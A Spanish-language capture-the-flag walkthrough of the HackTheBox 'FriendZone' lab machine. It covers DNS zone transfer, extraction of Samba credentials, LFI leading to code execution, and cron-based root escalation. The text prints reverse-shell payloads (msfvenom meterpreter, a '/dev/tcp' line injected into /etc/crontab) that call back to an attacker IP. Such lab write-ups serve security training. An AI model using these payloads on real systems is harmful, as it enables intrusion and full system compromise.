FriendZone Machine
FriendZone Machine - Walkthrough
Descripción
FriendZone es una máquina Linux de ** dificultad fácil**, que requiere una buena enumeración.
Resumen del proceso:
- ** descubrimiento de subdominios**mediante transferencia de zona DNS.
- Enumeración de servicios, especialmente ** samba**, para extraer credenciales.
- Exploración de una vulnerabilidad LFI, que nos permite conseguir RCE.
- Escalada de privilegios mediante CRON, explotando un módulo Python escribible.
Enumeración
Escaneo inicial con Nmap
Iniciamos con un escaneo de todos los puertos TCP:
sudo nmap -sS -sV -e tun0 -p- -Pn 10.10.10.123
Resultado:
PORT STATE SERVICE VERSION21/tcp open ftp vsftpd 3.0.322/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)80/tcp open http Apache httpd 2.4.29 ((Ubuntu))139/tcp open netbios-ssn Samba smbd 3.X - 4.X443/tcp open ssl/http Apache httpd 2.4.29445/tcp open netbios-ssn Samba smbd 3.X - 4.X
Para obtener más información, lanzamos un nuevo escaneo más detallado:
nmap -sC -sV -p21,22,53,80,139,443,445 -Pn -e tun0 10.10.10.123
Este escaneo revela el dominio friendzone.red y un servidor Samba.
🌐 Enumeración de DNS
En la web principal encontramos un email, lo que nos da una pista sobre posibles dominios.
Añadimos los siguientes registros al archivo /etc/hosts:
10.10.10.123 friendzoneportal.red10.10.10.123 friendzone.red
Usamos ** dig** para buscar registros:
dig axfr friendzone.red @10.10.10.123
Este comando nos devuelve varios ** subdominios**:
administrator1.friendzone.red
hr.friendzone.red
uploads.friendzone.red
Nos centraremos en administrator1.friendzone.red, que parece un ** panel de administración**.
Enumeración de Samba
Lanzamos el siguiente comando para descubrir comparticiones en Samba:
smbmap -H 10.10.10.123
Se detectan varias carpetas:
print$
Files
general
Development
IPC$
**La carpeta “Development” tiene permisos de escritura.Esto nos permitirá ** subir archivos maliciosos.
Descargamos un archivo interesante:
smbmap -H 10.10.10.123 --download "general/creds.txt"
Dentro encontramos credenciales de acceso al ** panel de administrador**.
Acceso al panel de administración
Ingresamos en administrator1.friendzone.red
con las credenciales obtenidas de Samba.
El panel tiene dos parámetros:
- Uno para cargar imágenes.
- Otro para incluir páginas dentro de la principal.
Al probar diferentes valores, encontramos una vulnerabilidad LFI (Local File Inclusion).
Explotando LFI para RCE
Subimos un ** payload en PHPa la carpeta ** developmenta través de Samba.
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=9001 -f raw > shell.php
Ejecutamos el payload accediendo a:
http://friendzoneportal.red/etc/Development/shell.php
Desde Metasploit, configuramos el multi-handler para recibir la conexión:
use exploit/multi/handlerset payload php/meterpreter/reverse_tcpset LHOST 10.10.10.10set LPORT 9001run
✅ Recibimos la shell reversa con éxito.
Escalada de Privilegios
El enunciado mencionaba CRON, así que investigamos procesos en ejecución. Usamos ** pspy** para analizar los procesos del sistema:
./pspy64
Vemos que un ** script en Python**es ejecutado por CRON con permisos root.
/usr/bin/python3 script.py
Sin embargo, no podemos modificar el script, pero sí podemos editar la librería os.py
.
Explotación
Creamos un archivo os.py
malicioso:
mycodigo = """sh -i >& /dev/tcp/10.10.10.10/9001 0>&1"""archivo = open('/etc/crontab', 'a')archivo.write(mycodigo)archivo.close()
Lo subimos mediante Samba y lo copiamos sobre la librería original os.py
.
Abrimos un listener en nuestro equipo:
nc -lvnp 9001
Cuando CRON ejecuta el script, nos llega una shell con privilegios de root.
¡Máquina Pwned!
✅ Hemos explotado:
- Enumeración DNS y transferencia de zona.
- Explotación de Samba para extraer credenciales.
- LFI para obtener ejecución remota de código (RCE).
- Escalada de privilegios con CRON hijacking.
Referencia en HackTheBox: HackTheBox FriendZone Machine